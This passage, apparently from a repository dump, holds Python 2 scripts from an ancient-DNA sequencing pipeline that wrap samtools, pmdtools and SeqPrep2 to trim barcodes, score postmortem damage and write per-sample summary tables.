ct_fcontam = \"N/A\"\n ct_ftotal = \"N/A\"\n ct_ct = \"N/A\"\n\n if os.path.isfile(contamfilename):\n ctin = open(contamfilename, 'r')\n for ctline in ctin:\n cxc.append(ctline)\n\n for cx in cxc:\n cxcols = cx.split(\"\\t\")\n if cxcols[0] == out_sample:\n ct_sdpos = cxcols[1].strip()\n ct_forig = cxcols[2].strip()\n ct_fcontam = cxcols[3].strip()\n ct_ftotal = cxcols[4].strip()\n ct_ct = cxcols[5].strip()\n\n\n # 4 PMDTools\n pmd_filtered_bam = bash_command(\n \"samtools view -c \" + bo2_s + \"_allreads.cf.*.q*.pmds\" + pmd_threshold + \"filter.bam\").strip()\n if pmd_filtered_bam:\n pmd_filtered_bam = int(pmd_filtered_bam)\n\n # 1\n sumfile.write(str(today))\n sumfile.write(str(\"\t\"))\n # 2\n sumfile.write(str(in_sample))\n sumfile.write(str(\"\t\"))\n # 3\n sumfile.write(str(lib))\n sumfile.write(str(\"\t\"))\n # 4\n sumfile.write(str(out_sample))\n sumfile.write(str(\"\t\"))\n # 5\n sumfile.write(str(rawreads))\n sumfile.write(str(\"\t\"))\n # 6\n sumfile.write(str(reads_debarcoded))\n sumfile.write(str(\"\t\"))\n # 7\n sumfile.write(str(percentbarcodes))\n sumfile.write(str(\"\t\"))\n # 8\n sumfile.write(str(reads_debarcoded))\n sumfile.write(str(\"\t\"))\n # 9\n sumfile.write(str(merged))\n sumfile.write(str(\"\t\"))\n # 10\n sumfile.write(str(wadapters))\n sumfile.write(str(\"\t\"))\n # 11\n sumfile.write(str(discarded))\n sumfile.write(str(\"\t\"))\n # 12\n sumfile.write(str(merged))\n sumfile.write(str(\"\t\"))\n # 13\n sumfile.write(str(merged_filtered_bam))\n sumfile.write(str(\"\t\"))\n # 14\n sumfile.write(str(rd_merged_filtered_bam))\n sumfile.write(str(\"\t\"))\n # 15\n sumfile.write(str(uniq_all_filtered_bam))\n sumfile.write(str(\"\t\"))\n # 16\n sumfile.write(str(avglen_all_mapped))\n sumfile.write(str(\"\t\"))\n # 17\n sumfile.write(str(bwa_q))\n sumfile.write(str(\"\t\"))\n # 18\n sumfile.write(str(bwa_ref))\n sumfile.write(str(\"\t\"))\n # 19\n sumfile.write(str(m_filtered_bam_mito))\n sumfile.write(str(\"\t\"))\n # 20\n sumfile.write(str(rd_m_filtered_bam_mito))\n sumfile.write(str(\"\t\"))\n # 21\n sumfile.write(str(all_uniq_mito))\n sumfile.write(str(\"\t\"))\n # 22\n sumfile.write(str(avglen_all_mito))\n sumfile.write(str(\"\t\"))\n # 23\n sumfile.write(str(mito_q))\n sumfile.write(str(\"\t\"))\n # 24\n sumfile.write(str(mito_ref))\n sumfile.write(str(\"\t\"))\n # 25\n sumfile.write(str(mia_reads))\n sumfile.write(str(\"\t\"))\n # 26\n sumfile.write(str(mia_coverage))\n sumfile.write(str(\"\t\"))\n # 27\n sumfile.write(str(\"\t\"))\n # 28\n sumfile.write(str(percentbarcodes))\n sumfile.write(str(\"\t\"))\n # 29\n sumfile.write(str(percent_m_dup))\n sumfile.write(str(\"\t\"))\n # 30\n sumfile.write(str(percent_m_endog))\n sumfile.write(str(\"\t\"))\n # 31\n sumfile.write(str(percentmerged))\n sumfile.write(str(\"\t\"))\n\n # 32\n sumfile.write(str(avglen_M_unmapped))\n sumfile.write(str(\"\t\"))\n\n # 33\n sumfile.write(str(ry_sex))\n sumfile.write(str(\"\t\"))\n # 34\n sumfile.write(str(percent_firstpos))\n sumfile.write(str(\"\t\"))\n # 35\n sumfile.write(str(percent_lastpos))\n sumfile.write(str(\"\t\"))\n\n # 36\n sumfile.write(str(\"\t\"))\n\n # 37\n sumfile.write(str(cwd))\n sumfile.write(str(\"\t\"))\n # 38\n sumfile.write(str(rxsex_assignment))\n sumfile.write(str(\"\t\"))\n # 39\n sumfile.write(str(rxsex))\n sumfile.write(str(\"\t\"))\n # 40\n sumfile.write(str(rxsex_ci))\n sumfile.write(str(\"\t\"))\n # 41\n sumfile.write(str(ct_sdpos))\n sumfile.write(str(\"\t\"))\n # 42\n sumfile.write(str(ct_forig))\n sumfile.write(str(\"\t\"))\n # 43\n sumfile.write(str(ct_fcontam))\n sumfile.write(str(\"\t\"))\n # 44\n sumfile.write(str(ct_ftotal))\n sumfile.write(str(\"\t\"))\n # 45\n sumfile.write(str(ct_ct))\n sumfile.write(str(\"\t\"))\n # 46\n sumfile.write(str(pmd_filtered_bam))\n sumfile.write(str(\"\t\"))\n # 47\n sumfile.write(str(pmd_threshold))\n sumfile.write(str(\"\t\"))\n\n sumfile.write(\"\\n\")\n sumfile.close()\n cmdfile.close()\n logfile.close()\n print \"results.py complete.\"\n exit(0)\n\n" }, { "alpha_fraction": 0.5663392543792725, "alphanum_fraction": 0.5703346133232117, "avg_line_length": 38, "blob_id": "f0863fc7747f5414fa1e82e7718b866d9058dee5", "content_id": "add0521eb9672d0ea49a4f8414d20be452dc11f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6007, "license_type": "no_license", "max_line_length": 273, "num_lines": 154, "path": "/4_pmdtools.py", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n#####################################\n##### HPG Lab #####\n##### updated April 2018 #####\n##### MJJ #####\n#####################################\n\n# Converted to Python, extended and maintained by Matthew Jobin, UCSC Human Paleogenomics Lab\n# Wrapper for pmdtools\n\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport os\nimport sys\nimport progressbar\nimport datetime\nimport gzip\nimport shutil\nimport fnmatch\nimport subprocess\nfrom subprocess import Popen, PIPE\n\ndef bash_command(cmd):\n cmdfile.write(cmd)\n cmdfile.write(\"\\n\\n\")\n subp = subprocess.Popen(['/bin/bash', '-c', cmd], stdout=PIPE, stderr=PIPE)\n stdout, stderr = subp.communicate()\n if verbose:\n print stdout\n logfile.write(stdout)\n if verbose:\n print stderr\n logfile.write(stderr)\n return stdout\n\n\nif __name__ == \"__main__\":\n\n print \"\\n****************\\nPMDTools\\n****************\\n\"\n\n parser = argparse.ArgumentParser(description=\"# This script is a wrapper for pmdtools:\\n\"\n \"MAKE SURE you know the names of your files!\\n\"\n \"including the q number, or CRASH AND DIEEEE!\\n\"\n \"- \", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n\n parser.add_argument('-bc_file', metavar='<bc_file>', help='location of barcode files, Must have a newline at end.', required=True)\n parser.add_argument('-wd', metavar='<wd>', help='Working directory. Defaults to current.', default='.')\n parser.add_argument('-pmdref', metavar='<pmdref>', help='',\n default=\"hg19\")\n parser.add_argument('-q', metavar='<q>', help='BWA min quality. 20 provides a fairly low cutoff',\n default=\"20\")\n parser.add_argument('-pmd_threshold', metavar='<pmd_threshold>', help='PMDtools threshold',\n default=\"3\")\n parser.add_argument('-verbose', dest='verbose', help='Print stdout and stderr to console.',\n action='store_true')\n parser.set_defaults(verbose=False)\n parser.add_argument('-overwrite', dest='overwrite', help='Overwrite existing files and directories.',\n action='store_true')\n parser.set_defaults(overwrite=False)\n\n\n args = parser.parse_args()\n wd = args.wd\n bcfile = args.bc_file\n pmdref = args.pmdref\n q = args.q\n pmd_threshold = args.pmd_threshold\n overwrite = bool(args.overwrite)\n verbose = bool(args.verbose)\n\n os.chdir(wd)\n cwd = os.getcwd()\n print \"Working in: \", wd\n\n today = datetime.date.today()\n logfilename = wd + \"/out.pmd.\" + str(today) + \".log\"\n print \"Logging to: \", logfilename\n\n\n logfile = open(logfilename, 'w')\n\n logfile.write(\"Arguments used:\\n\")\n logfile.write(\"__________________________________________:\\n\")\n for arg in vars(args):\n logfile.write(arg)\n logfile.write(\"\\t\")\n logfile.write(str(getattr(args, arg)))\n logfile.write(\"\\n\")\n\n\n cmdfile = open(\"4_cmds\", 'w')\n\n pmd_out = wd + \"/PMDtools\"\n if overwrite:\n if os.path.exists(pmd_out):\n shutil.rmtree(pmd_out)\n os.mkdir(pmd_out)\n else:\n if os.path.exists(pmd_out):\n print \"ERROR: Directory \" + pmd_out + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(pmd_out)\n\n bcin = open(bcfile, 'r')\n bc = []\n for bcinline in bcin:\n bc.append(bcinline)\n\n bclength = len(bc)\n print \"Number of entries: \", bclength\n\n if os.path.isfile(\"./PMD_temp.pdf\"):\n os.remove(\"./PMD_temp.pdf\")\n\n print \"\\nRunning PMDtools...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n sample = bccols[1]\n output =wd + \"/\" + sample\n bwa_output1 = output + \"/BWA_\" + pmdref\n bo_s = bwa_output1 + \"/\" + sample\n po_s = pmd_out + \"/\" + sample\n\n logfile.write(\"PMDtools for \" + sample)\n ### assign PMD score to each read and outputs all above X pmd_threshold to a new bam file ###\n bash_command(\"samtools view -h \" + bo_s + \"_allreads.cf.\" + pmdref + \".q\" + q + \".s.bam | pmdtools.py --threshold \" + pmd_threshold + \" --header --stats | samtools view -Sb - > \" + bo_s + \"_allreads.cf.\" + pmdref + \".q\" + q + \".pmds\" + pmd_threshold + \"filter.bam\")\n\n ### plot damage for unfiltered bam for comparison with pmd filtered bam ##\n bash_command(\"samtools view \" + bo_s + \"_allreads.cf.\" + pmdref + \".q\" + q + \".s.bam | pmdtools.py --deamination --range 30 --CpG > PMD_temp.txt\")\n bash_command(\"R CMD BATCH /data/scripts/plotPMD.R\")\n shutil.copy(\"./PMD_plot.pdf\", po_s + \"_allreads.cf.\" + pmdref + \".q\" + q + \".NOTpmdfiltered.plot.pdf\")\n\n ### plot damage for pmd filtered bams - accounting for UDG treatment (and rename plot) ##\n bash_command(\"samtools view \" + bo_s + \"_allreads.cf.\" + pmdref + \".q\" + q + \".pmds\" + pmd_threshold + \"filter.bam | pmdtools.py --deamination --range 30 --CpG > PMD_temp.txt\")\n bash_command(\"R CMD BATCH /data/scripts/plotPMD.R\")\n shutil.copy(\"./PMD_plot.pdf\", po_s + \"_allreads.cf.\" + pmdref + \".q\" + q + \".pmds\" + pmd_threshold + \"filter.CpG.plot.pdf\")\n\n ## plot damage for pmd filtered bams - NOT accounting for UDG treatment (and rename plot) ##\n bash_command(\"samtools view \" + bo_s + \"_allreads.cf.\" + pmdref + \".q\" + q + \".pmds\" + pmd_threshold + \"filter.bam | pmdtools.py --deamination --range 30 > PMD_temp.txt\")\n bash_command(\"R CMD BATCH /data/scripts/plotPMD.R\")\n shutil.copy(\"./PMD_plot.pdf\", po_s + \"_allreads.cf.\" + pmdref + \".q\" + q + \".pmds\" + pmd_threshold + \"filter.plot.pdf\")\n\n if os.path.isfile(\"./PMD_plot.pdf\"):\n os.remove(\"./PMD_plot.pdf\")\n\n logfile.close()\n cmdfile.close()\n print \"4_pmdtools.py complete.\"\n exit(0)\n\n" }, { "alpha_fraction": 0.5183207392692566, "alphanum_fraction": 0.5366195440292358, "avg_line_length": 40.836997985839844, "blob_id": "fd487a79444a299385632575149926cef58e2a26", "content_id": "69241038646e7fc5355266abdd95935627723f96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22843, "license_type": "no_license", "max_line_length": 404, "num_lines": 546, "path": "/0_trim_barcodes.py", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n\n#####################################\n##### HPG Lab #####\n##### updated April 2018 #####\n##### MJJ #####\n#####################################\n\n\n# Converted to Python, extended and maintained by Matthew Jobin, UCSC Human Paleogenomics Lab\n# Based on bash scripts by Kelly Harkins and Peter Heintzman\n# Script uses two programs:\n# 1. bc_bin_clip separates then trims 5' of R1/R2 with correct barcodes\n# 2. SeqPrep trim barcodes + adapters from 3' end/inside read when frag shorter than read length\n\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport progressbar\nimport os\nimport sys\nimport datetime\nimport gzip\nimport shutil\nimport fnmatch\nimport subprocess\nfrom subprocess import Popen, PIPE\n\ndef bash_command(cmd):\n cmdfile.write(cmd)\n cmdfile.write(\"\\n\\n\")\n subp = subprocess.Popen(['/bin/bash', '-c', cmd], stdout=PIPE, stderr=PIPE)\n stdout, stderr = subp.communicate()\n if verbose:\n print stdout\n logfile.write(stdout)\n if verbose:\n print stderr\n logfile.write(stderr)\n return stdout\n\nif __name__ == \"__main__\":\n\n print \"\\n****************\\nTRIM BARCODES\\n****************\\n\"\n\n parser = argparse.ArgumentParser(description=\"Script uses two programs:\\n\\t\"\n \"1. bc_bin_clip separates then trims 5' of R1/R2 with correct barcodes\\n\"\n \"2. SeqPrep trim barcodes + adapters from 3' end/inside read when frag shorter than read length\\n\"\n \"\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n\n parser.add_argument('-bc_file', metavar='<bc_file>', help='location of barcode files, Must have a newline at end.', required=True)\n parser.add_argument('-wd', metavar='<wd>', help='Working directory. Defaults to current.', default='.')\n parser.add_argument('-bc_bin_clip', metavar='<bcbinclip>', help='Location of BC_BIN_CLIP',\n default='/data/scripts')\n parser.add_argument('-rawreads', metavar='<rawreads>', help='Location of raw reads',\n default='/data/raw')\n parser.add_argument('-ref_barcodes', metavar='<ref_barcodes>', help='Location of references barcodes',\n default='/data/projects/internal_barcodes.txt')\n parser.add_argument('-univ_illumina', metavar='<univ_illumina>', help='Universal Illumina adapter',\n default='AGATCGGAAG')\n parser.add_argument('-seqprep_min_length', metavar='<seqprep_min_length>', help='Seqprep Min lengthr',\n default=30)\n parser.add_argument('-seqprep_overlap', metavar='<seqprep_overlap>', help='Seqprep overlap',\n default=10)\n parser.add_argument('-mismatch', metavar='<mismatch>', help='Mismatch tolerance',\n default=2)\n parser.add_argument('-threads', metavar='<threads>', help='Max threads',\n default=\"8\")\n parser.add_argument('-bc_trim', metavar='<bc_trim>', help='Location of barcode trimmed files',\n default='/data/barcodetrimmed')\n parser.add_argument('-seqprep_output', metavar='<seqprep_output>', help='seqprep_output',\n default='/data/adaptertrimmed')\n parser.add_argument('-bformat', dest='bformat', help='Barcode format type old (barcodes as sequence not numbers)?.',\n action='store_true')\n parser.set_defaults(bformat=False)\n parser.add_argument('-overwrite', dest='overwrite', help='Overwrite existing files and directories.',\n action='store_true')\n parser.set_defaults(overwrite=False)\n parser.add_argument('-fqloc', metavar='<fqloc>', help='Location of fq files',\n default='/data/adaptertrimmed')\n parser.add_argument('-verbose', dest='verbose', help='Print stdout and stderr to console.',\n action='store_true')\n parser.set_defaults(verbose=False)\n parser.add_argument('-nopos', dest='nopos', help='Do not add/check digital positive files,',\n action='store_true')\n parser.set_defaults(nopos=False)\n\n\n args = parser.parse_args()\n wd = args.wd\n bcfile = args.bc_file\n bcbinclip = args.bc_bin_clip\n rawreads = args.rawreads\n univ_illumina = args.univ_illumina\n ref_barcodes = args.ref_barcodes\n seqprep_min_length = int(args.seqprep_min_length)\n seqprep_overlap = int(args.seqprep_overlap)\n mismatch = int(args.mismatch)\n bc_trim = args.bc_trim\n seqprep_output = args.seqprep_output\n bformat = bool(args.bformat)\n overwrite = bool(args.overwrite)\n verbose = bool(args.verbose)\n fqloc = args.fqloc\n threads = args.threads\n nopos = bool(args.nopos)\n\n os.chdir(wd)\n cwd = os.getcwd()\n print \"Working in: \", cwd\n\n today = datetime.date.today()\n rightnow = str(datetime.datetime.now().time())\n\n\n\n logfilename = \"out.trim.m\" + str(mismatch) + \".\" + str(today) + \".log\"\n print \"Logging to:\", logfilename\n logfile = None\n\n cmdfile = None\n if nopos:\n cmdfile = open(\"0_nopos_cmds\", 'w')\n logfile = open(os.devnull, 'w')\n else:\n cmdfile = open(\"0_cmds\", 'w')\n logfile = open(logfilename, 'w')\n\n logfile.write(\"Arguments used:\\n\")\n logfile.write(\"__________________________________________:\\n\")\n for arg in vars(args):\n logfile.write(arg)\n logfile.write(\"\\t\")\n logfile.write(str(getattr(args, arg)))\n logfile.write(\"\\n\")\n\n logfile.write(\"Parameters used: \\nDebarcoding mismatch tolerance: \" + str(mismatch) + \"\\n\")\n logfile.write(\"Seqprep Minimum Length: \" + str(seqprep_min_length) + \"\\n\")\n logfile.write(\"Seqprep overlap: \" + str(seqprep_overlap) + \"\\n\")\n logfile.write(\"-------------------------\\n\\n\")\n\n refbcs = {}\n refbcin = open(ref_barcodes, 'r')\n for refinline in refbcin:\n refcols = refinline.split()\n if len(refcols) == 3: #only use lines of correct size\n refbcs[refcols[0]] = refcols\n\n bcin = open(bcfile, 'r')\n bc = []\n barcodespresent = True\n for bcinline in bcin:\n bccols = bcinline.split()\n if len(bccols) > 3:\n barcodespresent = True\n else:\n barcodespresent = False\n bc.append(bcinline)\n\n if not nopos:\n shutil.copy(\"/data/raw/bcpos_S00_L00_R1_001.fastq.gz\", \"/data/raw/bcpos\" + rightnow + \"_S00_L00_R1_001.fastq.gz\")\n shutil.copy(\"/data/raw/bcpos_S00_L00_R2_001.fastq.gz\", \"/data/raw/bcpos\" + rightnow + \"_S00_L00_R2_001.fastq.gz\")\n shutil.copy(\"/data/raw/nobcpos_S00_L00_R1_001.fastq.gz\", \"/data/raw/nobcpos\" + rightnow + \"_S00_L00_R1_001.fastq.gz\")\n shutil.copy(\"/data/raw/nobcpos_S00_L00_R2_001.fastq.gz\", \"/data/raw/nobcpos\" + rightnow + \"_S00_L00_R2_001.fastq.gz\")\n\n\n if bformat:\n bcposline = \"bcpos\"+rightnow+\"\tbcpos\"+rightnow+\"\tTCGAACA\tAGCACAT ATGTGCT TGTTCGA\"\n else:\n bcposline = \"bcpos\"+rightnow+\"\tbcpos\"+rightnow+\"\t198\t205\"\n nobcposline = \"nobcpos\"+rightnow+\"\tnobcpos\"+rightnow+\"\t\t\"\n if barcodespresent:\n bc.append(bcposline)\n else:\n bc.append(nobcposline)\n\n bclength = len(bc)\n print \"Number of entries: \", bclength\n\n missingfilepatterns = []\n\n print \"Checking for files...\"\n for i in range(bclength):\n filestorezip = []\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n r1pattern = in_sample + \"_*_L00*_R1_001.fastq\"\n logfile.write(\"Matching to \" + r1pattern + \"\\n\")\n files = os.listdir(rawreads)\n r1name = None\n for name in files:\n if (fnmatch.fnmatch(name, r1pattern)):\n r1name = rawreads + \"/\" + name\n continue\n if not r1name:\n r1pattern = in_sample + \"_*_L00*_R1_001.fastq.gz\"\n for name in files:\n if (fnmatch.fnmatch(name, r1pattern)):\n nogz = name.rsplit(\".\", 1)[0]\n r1name = rawreads + \"/\" + nogz\n if not r1name:\n print \"Cannot find file matching \" + rawreads + \"/\" + r1pattern + \".\"\n missingfilepatterns.append(r1pattern)\n filestorezip.append(r1name)\n\n\n r2pattern = in_sample + \"_*_L00*_R2_001.fastq\"\n logfile.write(\"Matching to \" + r2pattern + \"\\n\")\n files = os.listdir(rawreads)\n r2name = None\n for name in files:\n if (fnmatch.fnmatch(name, r2pattern)):\n r2name = rawreads + \"/\" + name\n continue\n if not r2name:\n r2pattern = in_sample + \"_*_L00*_R2_001.fastq.gz\"\n for name in files:\n if (fnmatch.fnmatch(name, r2pattern)):\n nogz = name.rsplit(\".\", 1)[0]\n r2name = rawreads + \"/\" + nogz\n if not r2name:\n print \"Cannot find file matching \" + rawreads + \"/\" + r2pattern + \".\"\n missingfilepatterns.append(r2pattern)\n filestorezip.append(r2name)\n\n if len(missingfilepatterns) > 0:\n exit(1)\n\n\n print \"\\nTrimming barcodes...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n filestorezip = []\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n barcodespresent = True\n newdir = out_sample\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n logfile.write(in_sample + \"\\t\" + out_sample + \"\\n\")\n if len(bccols)>3:\n if bformat:\n bc1 = bccols[2]\n if bc1.isdigit():\n print \"ERROR. -bformat invoked but \" + p5 + \" is numeric. Check what barcode format you are using!\\n ABORT! \\n ABORT!\\n ABORRRRRRRRRT!\"\n exit(1)\n bc2 = bccols[3]\n sp1 = bccols[4]\n sp2 = bccols[5]\n sp_r1 = sp1 + univ_illumina\n sp_r2 = sp2 + univ_illumina\n else:\n p5 = bccols[2]\n if not p5.isdigit():\n print \"ERROR. -bformat NOT invoked but \" + p5 + \" is not numeric. Check what barcode format you are using! \\n ABORT! \\n ABORT!\\n ABORRRRRRRRRT!\"\n exit(1)\n p7 = bccols[3]\n bc1 = refbcs[p5][1]\n bc2 = refbcs[p7][1]\n sp1 = refbcs[p7][2]\n sp2 = refbcs[p5][2]\n sp_r1 = sp1 + univ_illumina\n sp_r2 = sp2 + univ_illumina\n else:\n barcodespresent = False\n sp_r1 = univ_illumina\n sp_r2 = univ_illumina\n\n\n\n\n#Gunzip only if corresponding fastq file not already there\n logfile.write(\"Gunzipping R1 \" + in_sample + \"\\n\")\n r1pattern = in_sample + \"_*_L00*_R1_001.fastq\"\n logfile.write(\"Matching to \" + r1pattern + \"\\n\")\n files = os.listdir(rawreads)\n r1name = None\n for name in files:\n if (fnmatch.fnmatch(name, r1pattern)):\n r1name = rawreads + \"/\" + name\n filestorezip.append(r1name)\n continue\n if not r1name:\n r1pattern = in_sample + \"_*_L00*_R1_001.fastq.gz\"\n for name in files:\n if (fnmatch.fnmatch(name, r1pattern)):\n nogz = name.rsplit(\".\", 1 )[ 0 ]\n r1name = rawreads + \"/\" + nogz\n filestorezip.append(r1name)\n with gzip.open(rawreads + \"/\" + name, 'rb') as f_in, open(r1name, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n if not r1name:\n print \"Cannot find file matching \" + rawreads + \"/\" + r2pattern + \". Exiting.\"\n exit(1)\n\n logfile.write(\"Gunzipping R2 \"+ in_sample + \"\\n\")\n r2pattern = in_sample + \"_*_L00*_R2_001.fastq\"\n logfile.write(\"Matching to \" + r2pattern + \"\\n\")\n files = os.listdir(rawreads)\n r2name = None\n for name in files:\n if (fnmatch.fnmatch(name, r2pattern)):\n r2name = rawreads + \"/\" + name\n filestorezip.append(r2name)\n continue\n if not r2name:\n r2pattern = in_sample + \"_*_L00*_R2_001.fastq.gz\"\n for name in files:\n if (fnmatch.fnmatch(name, r2pattern)):\n nogz = name.rsplit(\".\", 1)[0]\n r2name = rawreads + \"/\" + nogz\n filestorezip.append(r2name)\n with gzip.open(rawreads + \"/\" + name, 'rb') as f_in, open(r2name, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n if not r2name:\n print \"Cannot find file matching \" + rawreads + \"/\" + r2pattern + \". Exiting.\"\n exit(1)\n\n\n if barcodespresent: # if sample has barcodes, use this part\n logfile.write(in_sample + \" has barcodes \" + bc1 + \" and \" + bc2 + \"\\n\")\n logfile.write(\"Starting bc_bin_clip for \" + in_sample + \"\\n\")\n bcbinclipcmd = \"python \" + bcbinclip + \"/bc_bin_clip -m \" + str(mismatch) + \" \" + bc1 + \" \" + bc2 + \" \" + r1name + \" \" + r2name + \" -p \" + bc_trim + \"/\" + in_sample + \".woBC\"\n bash_command(bcbinclipcmd)\n\n\n\n\n logfile.write(\"Starting Seqprep2 \" + in_sample + \"\\n\")\n bc_os = bc_trim + \"/\" + in_sample\n\n sp_os = seqprep_output + \"/\" + in_sample\n\n sr1pattern = in_sample + \"*_R1.fastq\"\n sr1upattern = in_sample + \"*_R1_unmatched.fastq\"\n files = os.listdir(bc_trim)\n sr1name = None\n for name in files:\n if (fnmatch.fnmatch(name, sr1pattern)):\n sr1name = bc_trim + \"/\" + name\n filestorezip.append(sr1name)\n if (fnmatch.fnmatch(name, sr1upattern)):\n sr1uname = bc_trim + \"/\" + name\n filestorezip.append(sr1uname)\n\n sr2pattern = in_sample + \"*_R2.fastq\"\n sr2upattern = in_sample + \"*_R2_unmatched.fastq\"\n files = os.listdir(bc_trim)\n sr2name = None\n for name in files:\n if (fnmatch.fnmatch(name, sr2pattern)):\n sr2name = bc_trim + \"/\" + name\n filestorezip.append(sr2name)\n if (fnmatch.fnmatch(name, sr2upattern)):\n sr2uname = bc_trim + \"/\" + name\n filestorezip.append(sr2uname)\n\n seqprepcmd = \"SeqPrep2 -f \" + sr1name + \" -r \" + sr2name + \" -1 \" + sp_os + \".F.fq.gz -2 \" + sp_os + \".R.fq.gz -s \" + sp_os + \".M.fq.gz -A \" + sp_r1 + \" -B \" + sp_r2 + \" -o \" + str(seqprep_overlap) + \" -L \" + str(seqprep_min_length) + \" -d 1 -C ATCTCGTATGCCGTCTTCTGCTTG -D GATCTCGGTGGTCGCCGTATCATT >& \" + seqprep_output + \"/SP.\" + in_sample + \".stderr.txt\"\n bash_command(seqprepcmd)\n\n logfile.write(\"SeqPrep complete\" + \"\\n\")\n logfile.write(\"-------------------------\" + \"\\n\")\n\n\n\n\n\n else: # if sample has NO barcodes, use this part\n logfile.write(\"Meyer-Kircher library protocol, no internal barcodes for \" + in_sample + \"\\n\")\n rr_is = rawreads + \"/\" + in_sample\n\n sp_os = seqprep_output + \"/\" + in_sample\n seqprepcmd = \"SeqPrep2 -f \" + rr_is + \"_*_L00*_R1_001.fastq -r \" + rr_is + \"_*_L00*_R2_001.fastq -1 \" + sp_os + \".F.fq.gz -2 \" + sp_os + \".R.fq.gz -s \" + sp_os + \".M.fq.gz -A \" + sp_r1 + \" -B \" + sp_r2 + \" -o \" + str(seqprep_overlap) + \" -L \" + str(seqprep_min_length) + \" -d 1 -C ATCTCGTATGCCGTCTTCTGCTTG -D GATCTCGGTGGTCGCCGTATCATT >& \" + seqprep_output + \"/SP.\" + in_sample + \".stderr.txt\"\n bash_command(seqprepcmd)\n logfile.write(\"SeqPrep complete\" + \"\\n\")\n logfile.write(\"-------------------------\" + \"\\n\")\n\n r1pattern = in_sample + \"_*_L00*_R1_001.fastq\"\n logfile.write (\"Matching to \" + r1pattern + \"\\n\")\n files = os.listdir(rawreads)\n r1name = None\n for name in files:\n if (fnmatch.fnmatch(name, r1pattern)):\n r1name = rawreads + \"/\" + name\n if not os.path.isfile(r1name):\n with open(r1name, 'rb') as f_in, gzip.open(r1name + \".gz\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n r2pattern = in_sample + \"_*_L00*_R2_001.fastq\"\n logfile.write (\"Matching to \" + r2pattern + \"\\n\")\n files = os.listdir(rawreads)\n r2name = None\n for name in files:\n if (fnmatch.fnmatch(name, r2pattern)):\n r2name = rawreads + \"/\" + name\n if not os.path.isfile(r2name):\n with open(r2name, 'rb') as f_in, gzip.open(r2name + \".gz\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n\n\n #Check digital positive\n sp_file = seqprep_output + \"/SP.\" + in_sample + \".stderr.txt\"\n spc = []\n if os.path.isfile(sp_file):\n spin = open(sp_file, 'r')\n for spinline in spin:\n spc.append(spinline)\n\n else:\n print \"SP No file matching \" + sp_file + \" found. Exiting.\"\n exit(1)\n\n\n reads_debarcoded = int(str(spc[1].split()[2]).strip())\n\n\n if in_sample == \"bcpos\"+rightnow:\n if reads_debarcoded != 208306:\n print \"ERROR barcode positive control reads debarcoded should read 208306 but reads \" + str(reads_debarcoded)\n exit(1)\n elif in_sample == \"nobcpos\"+rightnow:\n if reads_debarcoded != 247087:\n print \"ERROR no barcode positive control reads debarcoded should read 247087 \" + str(reads_debarcoded)\n exit(1)\n\n\n #Rezip files\n for ftrz in filestorezip:\n if os.path.isfile(ftrz) and os.path.isfile(ftrz + \".gz\"):\n os.remove(ftrz + \".gz\")\n with open(ftrz, 'rb') as f_in, gzip.open(ftrz + \".gz\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n os.remove(ftrz)\n\n\n\n # makes symbolic links of trimmed files to project working directories\n newdir = out_sample + \"/SeqPrep2_output\"\n sp_output_s = out_sample + \"/SeqPrep2_output\"\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n\n newdir = out_sample + \"/BC_trimmed\"\n bc_trim_s = out_sample + \"/BC_trimmed\"\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n\n if barcodespresent:\n pattern = in_sample + \"*_R1.fastq.gz\"\n files = os.listdir(bc_trim)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.symlink(bc_trim + \"/\" + name, bc_trim_s + \"/\" + name)\n\n pattern = in_sample + \"*_R2.fastq.gz\"\n files = os.listdir(bc_trim)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.symlink(bc_trim + \"/\" + name, bc_trim_s + \"/\" + name)\n\n pattern = in_sample + \"*.R.fq.gz\"\n files = os.listdir(seqprep_output)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.symlink(seqprep_output + \"/\" + name, sp_output_s + \"/\" + name)\n\n pattern = in_sample + \"*.F.fq.gz\"\n files = os.listdir(seqprep_output)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.symlink(seqprep_output + \"/\" + name, sp_output_s + \"/\" + name)\n\n pattern = in_sample + \"*.M.fq.gz\"\n files = os.listdir(seqprep_output)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.symlink(seqprep_output + \"/\" + name, sp_output_s + \"/\" + name)\n\n pattern = in_sample + 